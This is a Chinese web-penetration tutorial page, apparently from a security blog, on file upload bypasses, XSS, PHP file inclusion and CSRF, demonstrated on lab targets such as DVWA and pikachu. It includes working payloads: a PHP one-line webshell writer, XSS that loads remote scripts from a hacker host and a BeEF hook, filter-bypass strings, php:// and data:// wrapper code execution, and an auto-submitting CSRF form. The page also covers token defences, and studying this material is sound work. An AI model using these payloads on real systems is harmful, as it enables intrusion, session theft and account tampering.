Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页
  • 一、文件上传漏洞
  • 1.突破MIME验证
  • 2.JS本地验证
  • 3.截断上传
  • 4. .htaccess文件上传漏洞
  • 二、XSS跨站攻击
  • 简介
  • 常见的xss代码
  • Beff工具的使用
  • Cookie权限维持
  • XSS绕过技巧
  • 三、任意文件读取漏洞
  • 原理
  • PHP
  • 四、CSRF跨站请求伪造
  • CSRF攻击原理
  • 攻击手段
  • Token防护
  • 其他防护措施
  1. Web渗透

基本漏洞利用

上一页各类Webshell下一页远程命令执行漏洞

最后更新于1年前

一、文件上传漏洞

1.突破MIME验证

**原理:**Mime是通过判断你的文件类型(不是后缀名)来决定是否允许你上传文件,只需抓包修改content_type值就能绕过验证

如下所示是一个常见的MIME代码

2.JS本地验证

**原理:**在文件上传的源码上写入了js代码来验证文件的类型,但是这是写在客户端上的,也就是通过我们客户端去验证的,而客户端属于本地的,最简单的方法是在浏览器上关闭JavaScript

打开火狐浏览器,网址搜索框输入about:config, 将JavaScript.enabled设置为false

设置完毕后再次打开含有js代码的网页, 但是js代码并不会在浏览器中执行

3.截断上传

**原理: **利用%00来截断文件后缀(==注意:url编码后才是%00,在抓包修改文件名时需对截断符号进行url解码==), 此方法也可以绕过Js本地验证

4. .htaccess文件上传漏洞

原理: .htaccess文件是apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件, 可以实现网页301重定向、自定义404页面、改变文件扩展名、允许/阻止特定的用户访问目录等等。

.htaccess文件代码表示: 调用php的解析器去解析一个文件名只需包含“cimer”字符串的任意文件

若一个文件的名字为cimer.txt, 其内容是一句话代码, 那么apache就会调用php解析器去解析此文件, 后面就可以通过中国菜刀连接webshell

<FilesMatch "cimer">
Sethandler application/x-httpd-php 
</FileMatch>

如下.htaccess文件代码表示: 调用php的解析器去解析一个文件名只需包含“cimer”字符串的jpg文件

上传的jpg均已php执行,将.htaccess文件上传后,再上传一句话木马的jpg格式,文件名需包含cimer字符串

<FilesMatch "cimer">
AddType application/x-http-php .jpg
</FileMatch>

二、XSS跨站攻击

简介

Xss攻击分为三种,分别是反射型、存储型和DOM型,通常反射型的xss攻击并没有太大卵用

  • **XSS Reflected:**非持续性, 经过后端, 但不经过数据库

  • **XSS Store: **持续性, 经过后端和数据库

  • **DOM型: ** 不经过后端, 基于文档对象模型的一种漏洞, 需通过url传入恶意参数至文档对象, 然后其他标签通过文档对象获取信息时触发xss

下图是一个包含DOM型xss漏洞的php代码

对x参数传入xss代码: <img src=1 onerror=alert(1)>

导致div标签变成<div id="print"><?php echo <img src=1 onerror=alert(1);?>></div>

点击div标签即可触发xss

常见的xss代码

1.弹框警告

<script>alert(‘fuckyou’)</script>

2.页面嵌套

<iframe src=http://www.baidu.com width=200 height=300></iframe>

​

3.页面重定向

跳转至其他页面

<script>window.location="http://www.baidu.com"</script>
<script>location.href="http://www.baidu.com"</script>

4.远程访问恶意js代码

<script src="http://www.hacker.com/xss.js"></script>
<!--配合Beff工具实现xss攻击  -->
<script src="http://Beff_ip:3000/hook.js"></script>

5.利用图片标签

<!-- 若图片加载错误,则会触发onerror事件,例如这里触发弹框  -->
<img src="#" onerror=alert('fuckyou')></img>

Beff工具的使用

这里我使用的是kali系统, 先开启apache服务: service apache2 start

随后点击工具栏处的beef

访问beef控制端: http://127.0.0.1:3000/ui/panel, 输入账号密码, 默认为beef

xss利用代码: <script src="http://192.168.246.129:3000/hook.js"></script>

在含有xss存储型漏洞的地方输入我们的利用代码

若有用户触发了xss, 在beef的控制端可以看到上线信息

下图是beef的一些功能

​

Cookie权限维持

原理: 通过将js代码写入到后台登录成功指向的文件中,那么用户每次登录你都会获取他的cookie

如下图所示分别为登录成功和登录失败的两个页面

​

在登录成功页面Admin_ChkLogin.asp插入XSS恶意代码, 若用户登录成功便会发送cookie给hacker

XSS绕过技巧

1.单引号、双引号和尖括号之间的闭合。

有些标签如<input value="输入值">, 构造的payload应该为” ><script>alert(1)</script>,那么组成的标签为<input value=""><script>alert(1)</script>"

2.若尖括号被转义,可利用注释符号和其他属性事件

例如这个标签<input value="输入值">,构造payload应该为" onclick=alert(1)//,那么组成的标签为<input value="" onclick=alert(1)//">

3.某些关键字被过滤, 可以换其他标签

若过滤了script和onclick这两个关键字,可以选择其他标签,记得注意下尖括号的闭合,例如换成a标签,构成的xss代码为:<a href=”javascript:alert(1)”,或者换个IMG标签,payload:<img src=1 onerror=alert(1) >

若网页使用str_replace()函数过滤关键字,则可切换大小写来绕过, 例如这个xss代码:<a HREF=”javascript:alert(1)”

若将关键字替换成了空格,则可以使用嵌套绕过,例如它将script替换成了空格, 则构成的xss代码为<sscriptcript>alert(1)</sscriptcript>,它替换后的标签会变成<script>alert(1)</script>

也可以使用一些特殊符号来进行绕过,例如%09(tab制表符) %0a(绕过空格过滤)。当script被过滤掉时, 构成的xss代码为<a href=”javascr%09ipt:alert(1)”>;当空格被过滤的时候, 构成的xss代码为:<img%0asrc=1%0aonerror=alert(1)>

4、有些标签的属性会验证url的合法性。

一般是看href里有没有http://字符串,只需在xss代码加个http://然后再加个注释符就可以了,例如这个xss代码:<a href=”javascript:alert(1)//http://”

三、任意文件读取漏洞

原理

攻击者通过某些手段去获取网站服务器开发者不允许读到的文件,例如服务器上的各种配置文件、文件形式存储的密钥、服务器信息、历史命令等等

不同的Web语言其任意文件读取漏洞的触发点也会存在差异, 本篇文章以PHP、Python、Java为例

PHP

涉及函数

  • 与文件读取相关的函数有: file_get_contents()、file()、fopen()

  • 与文件包含相关的函数有: include()、require()、include_once()、require_once()

  • 与系统命令执行相关的函数有: system()、exec()

在php配置文件php.ini中有两个参数涉及文件包含漏洞,分别是allow_url_fopen和allow_url_include

allow_url_fopen: 是否允许将url作为文件打开处理

allow_url_include: 是否允许includeI()和require()函数包含远程URL作为文件处理

若allow_url_fopen = on, 而allow_url_include = off, 则只能利用本地文件包含漏洞; 若allow_url_fopen和allow_url_include 都设置为on, 则可利用远程文件包含漏洞

本地文件包含

用dvwa靶场作为实例, 如下图所示, 通过本地文件包含漏洞可以访问网站服务器的任意本地文件, 只需将include.php替换成含有恶意代码的php文件

首先制作一个包含恶意代码的图片木马, 使用Imgtrjs工具对图片写入一句话木马代码

<?fputs(fopen("shell.php","w"),'<?php eval($_POST[pdd]);?>')?>

上传制作好的图片木马至网站目录, 将参数替换成木马图片的相对路径

php伪协议

在PHP中有很多功能不同但形式相似的协议, 统称为Wrapper, 其中最具特色的协议便是php://协议, 也叫php伪协议

PHP中有一个特色的机制是Filter, 其作用是对目前的Wrapper进行处理(例如把当前文件流的内容转换成大写)

若服务端的include函数的路径参数可控, 通常它会将目标文件当作php文件去解析, 若解析的文件中存在<?php等php标签, 则此标签中内容会被当做php代码执行

有php.ini中,allow_url_fopen和allow_url_include会影响到fopen()和include()等函数对伪协议的支持,而allow_url_include依赖allow_url_fopen,所以allow_url_fopen不开启的话,allow_url_include也是无法使用的

此处常用到的伪协议php://input和php://filter需要求allow_url_include=On

1.php://input

php://input: 输出所提交的post数据, 若此数据带有php标签, 则解析其标签内的php代码

访问url: http://127.0.0.1:88/vulnerabilities/fi/?page=php://input

post数据: phpinfo()

2.php://filter

php://filter: 对文件数据流进行处理, 例如编码或解码

常用的任意文件读取payload: php://filter/read=convert.base64-encode/resouce=upload.php

此处以dvwa靶场为例, 访问url:http://127.0.0.1:88/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

输出结果为base64加密后的file1.php文件内容, 如下图所示

若没有对数据流处理而直接访问: http://127.0.0.1:88/vulnerabilities/fi/?page=php://filter//resource=file1.php, 则直接执行file.php文件的php代码, 如下图所示

3.data://text/plain

data://text/plain: 配合include函数实现远程命令执行

访问:http://127.0.0.1:88/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>
回显结果:执行phpinfo()的界面
访问:http://127.0.0.1:88/vulnerabilities/fi/?page=data:text/plain,helloworld
回显结果:输出helloworld
访问:http://127.0.0.1:88/vulnerabilities/fi/?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
回显结果:执行phpinfo()
注:对后面的代码base64解密后并执行;PD9waHAgcGhwaW5mbygpPz4=解密后为<?php phpinfo()?>

4.ziv://与phar://

ziv://和phar://: 配合文件上传功能执行php代码

新建一个txt文件, 其文件内容为<?php phpinfo()?>, 随后将此文件压缩成zip文件, 再将后缀名zip修改成任意后缀名, 例如jpg,png等等

这里修改成jpg文件, 将其上传到网站服务器

返回到存在文件包含漏洞页面, 访问以下url, 此处分别用到ziv://和phar://协议, 回显效果均为执行phpinfo()页面

127.0.0.1:88/vulnerabilities/fi/?page=zip://../../hackable/uploads/muma.jpg%23muma.txt

127.0.0.1:88/vulnerabilities/fi/?page=phar://../../hackable/uploads/muma.jpg/muma.txt

四、CSRF跨站请求伪造

CSRF攻击原理

CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者"Session Riding",通常缩写为CSRF或者XSRF

尽管听起来跟XSS好像差不多, 其实这两者是完全不同的。在CSRF的攻击场景中攻击者会伪造一个请求(该请求通常为url链接), 然后欺骗用户去点击, 若用户点击了那么整个攻击流程就结束了, 这也就是为何CSRF被称为"One Click Attack"

与XSS攻击相比,CSRF攻击往往不大流行, 因此对其进行防范的资源也相当稀少和难以防范,所以被认为比XSS更具危险性。

攻击手段

此处用pikachu靶场来演示CSRF攻击的两种利用方式

基于get请求

首先随便登录一个账号: vince/allen/kobe/grady/kevin/lucy/lili, 密码均为123456, 然后使用burpsuite抓取修改个人信息的数据包, 或者F12打开控制台切换至Network进行抓包

我们将抓取到的url的请求参数修改成自己的, 例如将邮箱参数修改成hacker@qq.com, 那么构成的CSRF攻击payload为http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=chain&email=hacker@qq.com&submit=submit

若用户点击了上述伪造的url, 则会将用户自己的邮箱修改成hacker@qq.com

基于post请求

虽然POST请求无法通过伪造URL进行攻击, 但是可以通过伪造恶意网页, 将伪造的POST请求隐藏在恶意网页的表单中, 然后诱引用户点击按钮提交表单, 数据自然就POST至存在CSRF漏洞的网页, 最终用户的信息会被修改

此处运行CSRFTESTER工具来制作恶意网页, 首先浏览器配置网络代理, 监听本机的8008端口,然后在CSRFTESTER点击Start Recording开始抓包

抓到修改个人信息的数据包后, 在CSRFTESTER删除除了POST请求的其他数据, 将类型修改成POST, 然后点击下面的Generate HTML生成HTML文件

找到生成的HTML文件并对其编辑, 将下面那行<input type="hidden" name="submit" value="submit"/>修改成<input type="submit" name="submit" value="submit"/>, 然后其他POST参数都可自行设置, 这里我将电话号码修改成了999999999

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html>
<head>
<title>OWASP CRSFTester Demonstration</title>
</head>

<body onload="javascript:fireForms()">
<script language="JavaScript">
var pauses = new Array( "30" );

function pausecomp(millis)
{
    var date = new Date();
    var curDate = null;

    do { curDate = new Date(); }
    while(curDate-date < millis);
}

function fireForms()
{
    var count = 1;
    var i=0;
    
    for(i=0; i<count; i++)
    {
        document.forms[i].submit();
        
        pausecomp(pauses[i]);
    }
}
    
</script>
<H2>OWASP CRSFTester Demonstration</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/pikachu/vul/csrf/csrfpost/csrf_post_edit.php">
<input type="hidden" name="sex" value="girl"/>
<input type="hidden" name="phonenum" value="999999999"/>
<input type="hidden" name="add" value="chain"/>
<input type="hidden" name="email" value="hacker@qq.com"/>
<input type="submit" name="submit" value="submit"/>
</form>

</body>
</html>

在浏览器打开生成的恶意网页, 当用户点击submit按钮后, 用户的个人信息就会被修改

​

Token防护

造成CSRF漏洞的主要原因是请求敏感操作的数据包容易被伪造, 其实只要在每次请求时都增加一个随机码(Token), 在每次前端与后端进行数据交互时后台都要对这个随机码进行验证, 以此来防护CSRF攻击

查看pikachu靶场的token_get_edit.php的源码, 发现有一个set_token()函数, 该函数每次刷新页面都会被调用, 然后将SESSION中的token销毁, 并生成新的token发送至前端表单中

<div id="per_info">
   <form method="get">
   <h1 class="per_title">hello,{$name},欢迎来到个人会员中心 | <a style="color:bule;" href="token_get.php?logout=1">退出登录</a></h1>
   <p class="per_name">姓名:{$name}</p>
   <p class="per_sex">性别:<input type="text" name="sex" value="{$sex}"/></p>
   <p class="per_phone">手机:<input class="phonenum" type="text" name="phonenum" value="{$phonenum}"/></p>    
   <p class="per_add">住址:<input class="add" type="text" name="add" value="{$add}"/></p> 
   <p class="per_email">邮箱:<input class="email" type="text" name="email" value="{$email}"/></p>
       
   <input type="hidden" name="token" value="{$_SESSION['token']}" />
       
   <input class="sub" type="submit" name="submit" value="submit"/>
   </form>
</div>

在每次提交表单时, 前端页面的token值都会传送至后台与SESSION中的token进行对比验证, 由于黑客不知道用户当前的token值, 从而无法进行CSRF攻击

其他防护措施

  • 在进行提交表单的操作增加验证码

  • 设置会话管理机制, 例如15分钟后无操作则自动退出登录

  • 修改敏感信息需对身份证进行二次验证, 例如修改密码时需输入旧密码

  • 修改敏感信息使用POST请求而不是使用GET请求

  • 通过HTTP请求头的Referer来限制原页面

先上传一个脚本类型文件,发现提示文件类型错误

抓包后修改content_type的值为image/jpeg

下图是常见的文件类型

js验证代码如下

抓包修改上传文件的名字, 添加截断符号%00后并对其解码, 例如此处我修改的文件名为ll.php%00.jpg

最终上传到网站服务器的是php文件

`

在这里插入图片描述
img
img
img
img
img
img
img
img
img
img
img
img
img
img
img
img
img
img
image-20220912222416613
image-20221127223133781
image-20221127223658287
动画
动画
image-20221128085631181